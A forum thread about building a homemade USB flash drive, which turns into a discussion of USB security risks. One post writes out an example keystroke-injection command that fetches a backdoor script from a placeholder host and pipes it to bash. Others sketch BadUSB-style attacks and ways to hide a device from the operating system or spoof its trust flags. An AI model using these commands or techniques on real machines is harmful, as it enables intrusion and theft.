opensource usb stick

is it feasible to create your own usb flash storage from parts? i read some words about a supposed hacker getting caught from using a "flagged" usb stick on Windows 10. so it has me thinking, why not just make your own? is there any firmware? guides? i don't consider taping a usb to sata/nvme adapter making one by the way

Essentially it's just a microcontroller with a USB interface and a flash chip. Your flash chip documentation is pretty much the guide on how to make it work. Usually microcontrollers with USB have a lot of examples of different devices: keyboards, serial port interfaces, mass storage devices etc and you can take them and add a bit of code so that it uses the external chip and not the on-board microcontroller memory. I've only done it with STM32 controllers, based on this example: https://www.keil.com/download/docs/362.asp It was really easy to do, worked exactly as a usual USB drive, but it was very slow compared to a regular one.

Commercial flash drives are either going to be some parallel NAND with some sort of bridge/adapter chip or an all in one integrated chip. So yes, you could pick out the chip(s) you want to use, transcribe the schematic from the datasheet into your pcb editor of choice and get boards fabbed, then stick the chips on. You might have trouble finding datasheets for your first choice chips, but there are an endless line of manufacturers selling these sort of chips for next to nothing so I'm sure you can find at least one with a schematic. If security is your concern, SD cards would probably be a better choice since USB is an absolute disaster for security. >supposed hacker getting caught from using a "flagged" usb stick on Windows 10 I'm not sure exactly what you mean by that, but it sounds to me like not building his own flash drive is the least of this guy's problems.

Flash-to-USB controller is basically a computer. you can probably make your own, but instead you can change firmware on an existing one if you want. All you need is a firmware flashing utility for your particular chip from humble Chinese sources, et voila.

>>6086 >If security is your concern, SD cards would probably be a better choice since USB is an absolute disaster for security. Is this because USB has DMA capabilities, or are there other concerns? I'd like to hear what they are.

>>6749 USB doesn't have DMA capabilities (at least USB2.0, I don't know much about 3.x) though the DMA controller can use DMA to communicate with the host. So the controller would have to be buggy (not unlikely) to gain full memory access. The problem with USB is that the same physical port is used for many different things and is generally trusted by default. Exploits could include... USB flash drive with hacked firmware enumerates as USB keyboard, sends "ctrl-alt-t wget badwebsite.com/backdoor.sh|bash ctrl-d" after being plugged in USB keyboard with hacked firmware enumerates as network interface, reroutes all traffic through MITM proxy USB network adapter with hacked firmware enumerates as braille display, captures text off the screen and sends it across the network to the attacker Attacks like these have been demonstrated and are likely in the wild (though it requires hardware or at least firmware hacking so would probably only be used for high value targets) and there's not much you can do to stop them. There have been halfhearted attempts (like options to whitelist only devices that are already plugged in at boot or making you approve each device that gets plugged in) but these kill all the convenience of USB and will never catch on. I expect you can get around these by spoofing an already whitelisted device, but I'm not 100% sure how realistic that is. Basic takeaway is don't plug anything untrusted into your USB ports, even if it's "just" a flash drive.

>>6750 Why would a computer accept malicious script for execution without user confirmation? Why would computer accept a newly plugged network interface without notifying user when already existing one is used or the computer is currently offline? Why would computer accept braille display without notifying user?

>>6754 Because it's incredibly convenient. What is the alternative? Click OK for every USB device you plug in? Click OK using your USB mouse? Most PCs these days don't even have non-USB input ports.

>>6754 >Why would a computer accept malicious script for execution without user confirmation? >Why would computer accept a newly plugged network interface without notifying user when already existing one is used or the computer is currently offline? >Why would computer accept braille display without notifying user? Ever heard of Windows? Plug a USB keyboard into your Windows computer. It'll make a sound, but require no authorization. Then press the web browser button. Then type in a nefarious address and press enter. Or type win+r, type cmd, and press enter, boom command line. Now imagine a USB hub with many USB devices plugged in. A device acting as a keyboard and USB storage device with an exe. Now realize all of this can be put inside a single, tiny USB device that has user level access. If you have physical access to a computer, you can own it.

>>6757 You watch too many haxploitation movies. A web browser visits webpage, downloads some file and fails to execute it. A command line requires to run as Administrator to be able to do anything meaningful or malicious. Of course, a real keyboard can have some sort of keylog logic to record your password and reuse it maliciously, but keyboards are actually freest devices one can build from barebone parts, or get one that's too old to have badusb. Having mountable USB storage would not help either, how would it guess what letter it's assigned under?

>>6750 > USB doesn't have DMA capabilities (at least USB2.0, I don't know much about 3.x) though the DMA Some dumbass decided to add it to USB 3.1 when using usb-c, so that's a risk to consider. USB-4 also has PCI tunneling baked into the spec.

> Having mountable USB storage would not help either, how would it guess what letter it's assigned under? /dev/disk/by-id/predictable-device-or-fs-name /dev/disk/by-uuid/ also works. I would imagine similar interfaces exist in Windows.

>>6761 >You watch too many haxploitation movies. This thread is about creating your own flash drive due to some paranoia about commercial drives being backdoored. So, yes. >A command line requires to run as Administrator to be able to do anything meaningful or malicious Lol, yeah scanning your .mozilla directory for bank passwords, replacing all your desktop icons with links to malware, encrypting your Documents directory for ransom, nothing "meaningful" there. And why wouldn't the rogue device be able to run as administrator? I don't use windows but last I did it would just ask "do you want to allow this y/n" so your "keyboard" just has to push y. >how would it guess what letter it's assigned under? Why would it need to? Just run through A-Z one by one. There are no consequences for failure.

>>6755 >Most PCs these days don't even have non-USB input ports. Most PCs still have dedicated AV ports.

>>6768 AV ports are not input ports. Unless you're suggesting using the microphone for input. Clap twice to allow a USB device to connect? It could work.

>>6769 You could also just use it as a modem-line input.

>>6771 >>6769 >>6768 Real talk tho having a way to remotely control physical hardware or power access remotely would be cool. >like a usb condom but you can turn on and off data lines at will so scripts can still run and wait for the "right time to strike" >but there is no way the OS can detect the drive right? unless they are somehow watching power draw but it is not like they could tell what it is doing

>>6073 also sorry Cowboy but the best "open controller" i know about is a RasPi Pico or Arduino and maybe make a script that can move data from a host usb into a emmc flash and use that as a storage drive >not that fast >but you would know the "ins and outs" of everything >and if you script it right you can "spoof" any flags that an os might want to look for to trust it tldr idk if you can make "flash from strach" but you can easy make a usb controller and have it do what you want it to